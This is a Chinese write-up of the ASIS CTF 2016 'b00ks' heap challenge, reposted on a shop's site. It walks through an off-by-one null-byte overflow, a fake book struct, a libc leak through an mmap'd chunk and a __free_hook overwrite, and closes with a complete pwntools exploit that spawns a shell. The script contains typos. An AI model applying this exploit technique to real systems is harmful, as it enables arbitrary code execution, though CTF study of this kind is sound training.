锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

堆中的off-by-one :ASIS CTF 2016:b00ks

时间:2023-12-03 04:37:02 b00正反转速传感器

ASIS CTF 2016:b00ks

最近在练习pwn题目,主要看ctf竞赛权威指南这本书,感觉这个问题太巧妙了,记录下来

第一步拿到文件检查:在这里插入图片描述
然后拿到IDA里面看:

在sub_b6d()函数中使用了一个自己写的函数read函数(这个函数有一个函数off-by-one漏洞)

你可以看到这里name存在off_202018


分析知道0ff_202010存的是book结构体
两者相差20个偏移
打印是规则的,然后看修改作者的名字,发现仍然是sub_b6d函数,但在修改时只能溢出一个\x00,这通常可以用来修改堆头、大小等,但这次不涉及

经过分析,发现只有一个字节溢出,还有一些打印和修改。仔细想想,不就是通过打印函数泄露一些东西吗?修改是为了更好地泄露,
有一个大概的想法,第一次打印泄露堆地址,然后泄露libc最后修改地址mallco_hook或者free_hook获取shell
具体怎么操作?如何泄露?libc?我们知道通过mmap分配的堆块和libc有固定的偏移关系,可以通过分配一个以上的128k的堆块(0x打印堆地址泄露libc

1. 第一步是创建两个book,其中第二个book通过mmap分配
2. 通过print打印两堆地址
3. edit第一堆description来伪造一个fake book且让这个fake book指向book2
4. 通过修改author name溢出一个空字节,使它溢出book使其指向一个fake book
5. 再打印可以堆起来name ptr得到libc偏移地址
6. 然后修改fake book使其des指向free_hook,并再次修改book2将free_hook指向one_gadget
7. 然后删除book2即可获取到shell

第一步:

p.sendlineafter("name: ","A"*0x20)#author_name  create(0xd0,"AAAA",0x20,"bbbb")#book1 create(0x21000,"/bin/sh",0x21000,"dddd")#book2 print_book() p.recvuntil("A"*0x20) book1_addr = u64(p.recvn(6).ljust(8,'\x00')) print("book1_addr:",hex(book1_addr)) book2_addr = book1_addr   0x30; print("book2_addr:",hex(book2_addr)) 


拿到堆地址,第二步建设fake book

fake_book = p64(1)   p64(book2_addr   0x8)  p64(book2_addr   0x10)  p64(0x20) edit(1,fake_book) 


然后开始溢出,指向它fake book打印出book的name ptr地址


得到偏移为0x5b0010

然后开始修改book2的des->free_hook
edit(1, p64(free_hook))

在修改book2使其free->指向system
edit(2, p64(system_addr))

然后修改book的des->bin/sh

最后将book2 free掉就行了


拿到shell
最后,附上一张盲目的图片和代码

from pwn import *  p = process('./b00ks') #p =remote("node4.buuoj.cn",28734) context.log_level="debug" libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') elf = ELF('./b00ks')  def create(size,name,dsize,desc):  p.sendlineafter("> ","1")  p.recvuntil("Enter book name size: ")  p.sendline(str(size))  p.recvuntil("Enter book name (Max 32 chars): ")  p.sendline(str(name))  p.recvuntil("Enter book description size: ")  p.sendline(str(dsize))  p.recvuntil("Enter book description: ")  p.sendlie(desc)
def delete(idx):
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("Enter the book id you want to delete: ")
	p.sendline(str(idx))

def edit(idx,des):
	p.recvuntil("> ")
	p.sendline("3")
	p.recvuntil("Enter the book id you want to edit: ")
	p.sendline(str(idx))
	p.sendlineafter("description: ",des)

def print_book():
	p.recvuntil("> ")
	p.sendline("4")

def change(name):
	p.sendlineafter("> ",'5')
	p.sendlineafter("name: ",name)


p.sendlineafter("name: ","A"*0x20)#author_name   name he book xiangcha 0x20


create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2


print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))#0x55deae296130
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))#0x55deae296160

fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)


change("B"*0x20)
print_book()

p.recvuntil("Name: ")

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print("leak_addr",hex(leak_addr)) #0x00007fcc19363010
libc_base = leak_addr -  0x5b0010
print("libc_base",hex(libc_base))

elf_base = libc_base + libc.sym['free'] - elf.plt['free']
system_addr = libc.sym['system'] + libc_base
sh_addr = libc.search('/bin/sh').next() + libc_base
free_hook = libc.sym['__free_hook'] + libc_base
print("system_addr",hex(system_addr))
print("sh_addr",hex(sh_addr))
print("free_hook",hex(free_hook))

edit(1, p64(free_hook))

edit(2, p64(system_addr))

edit(1, p64(sh_addr))
gdb.attach(p)
delete(2)
 
p.interactive()



锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章